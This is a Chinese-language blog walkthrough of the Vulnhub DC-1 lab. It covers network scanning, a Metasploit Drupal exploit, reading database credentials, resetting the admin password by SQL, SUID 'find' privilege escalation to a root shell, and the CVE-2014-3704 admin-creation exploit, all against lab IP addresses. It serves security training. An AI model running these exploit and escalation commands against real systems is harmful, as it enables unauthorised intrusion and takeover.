0
点赞
收藏
分享

微信扫一扫

【Vulnhub系列】DC1

pipu 2023-05-19 阅读 75



文章目录

  • 基本信息
  • 实验过程
  • 额外内容
  • 使用CVE2014-3704添加管理账号
  • 另一种查询具有root权限命令的find语句



下载地址:https://www.vulnhub.com/entry/dc-1-1,292/

基本信息

Kali:192.168.56.116
DC1:192.168.56.115

实验过程

现在Kali中使用arp-scan进行主机探活

sudo arp-scan --interface=eth1 192.168.56.0/24

【Vulnhub系列】DC1_unix


逐个排查发现DC1的IP地址为192.168.56.115

然后使用nmap对主机进行探测

nmap -sC -sV -A -oA vulnhub/DC1/DC1 192.168.56.115

【Vulnhub系列】DC1_mysql_02


主机分开开了:22,80,111端口

我们先从80端口入手

【Vulnhub系列】DC1_mysql_03

可以发现网站是Drupal cms管理系统

我们启动msf,搜索下Drupal可用的EXP

msf6 > search Drupal

【Vulnhub系列】DC1_Kali_04


这里我们选用exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > show options
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115
msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116
msf6 exploit(unix/webapp/drupal_coder_exec) > run

【Vulnhub系列】DC1_unix_05


这样我们就可以成功得到一个会话。我们用会话返回一个shell

【Vulnhub系列】DC1_unix_06


发现flag1.txt

【Vulnhub系列】DC1_Kali_07


查看下flag1.txt内容

【Vulnhub系列】DC1_mysql_08


给我们一个提示

Every good CMS needs a config file - and so do you.百度drupal配置文件的位置

【Vulnhub系列】DC1_Kali_09

sites/default/files

【Vulnhub系列】DC1_unix_10


里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法

'database' => 'drupaldb',                             
      'username' => 'dbuser',                             
      'password' => 'R0ck3t',

【Vulnhub系列】DC1_mysql_11


那么我们用获得数据库的账号密码登录下数据看看这里需要注意的是,我们需要用python转换成标准的shell

否则就会出现下面的场景,进入mysql之后shell就没有反应

【Vulnhub系列】DC1_unix_12


我们输入

python -c "import pty;pty.spawn('/bin/bash')"

【Vulnhub系列】DC1_mysql_13

mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;

【Vulnhub系列】DC1_mysql_14


这里的密码是经过drupal加密在scripts的文件夹中有用来算密码的脚本

但是因为靶机的环境原因会报错

【Vulnhub系列】DC1_mysql_15

明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

【Vulnhub系列】DC1_Kali_16


接下来我们把管理员的密码重置下

mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';

【Vulnhub系列】DC1_Kali_17


然后进行登录

【Vulnhub系列】DC1_mysql_18


然后发现flag3

【Vulnhub系列】DC1_unix_19


从flag3的内容可以看出,提示我们需要用find提权

同时我们也可以在家目录中找到flag4

【Vulnhub系列】DC1_mysql_20

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

我们使用find找下具有root权限的suid

find / -perm -u=s -type f 2>/dev/null

【Vulnhub系列】DC1_unix_21


可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
www-data@DC-1:/home/flag4$ find / -name flag4 -exec "whoami" \;

【Vulnhub系列】DC1_unix_22


那么我们接下来用find提权

www-data@DC-1:/home/flag4$ find / -name flag4 -exec "/bin/sh" \;

【Vulnhub系列】DC1_mysql_23


这样我们就拿到最终的flag

额外内容

使用CVE2014-3704添加管理账号

在exploit-db中有可以直接利用的EXP,可以直接添加管理账号
地址:https://www.exploit-db.com/exploits/34992
我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP

【Vulnhub系列】DC1_mysql_24


然后我们通过这个EXP创建管理账号

www-data@DC-1:/var/www$ python 34992.py -t http://192.168.56.115/ -u dfz -p ms08067

【Vulnhub系列】DC1_Kali_25


然后就可以正常登录

【Vulnhub系列】DC1_unix_26

另一种查询具有root权限命令的find语句

find / -user root -perm -4000 -print 2>/dev/null

【Vulnhub系列】DC1_unix_27


举报

相关推荐

[vulnhub]DC: 1

vulnhub系列:DC-9

Vulnhub靶机DC系列-DC-7

Vulnhub靶场练习 DC-1

VulnHub----DC1靶场记录

Vulnhub实战-DC9

(VulnHub靶机通关)DC-9

0 条评论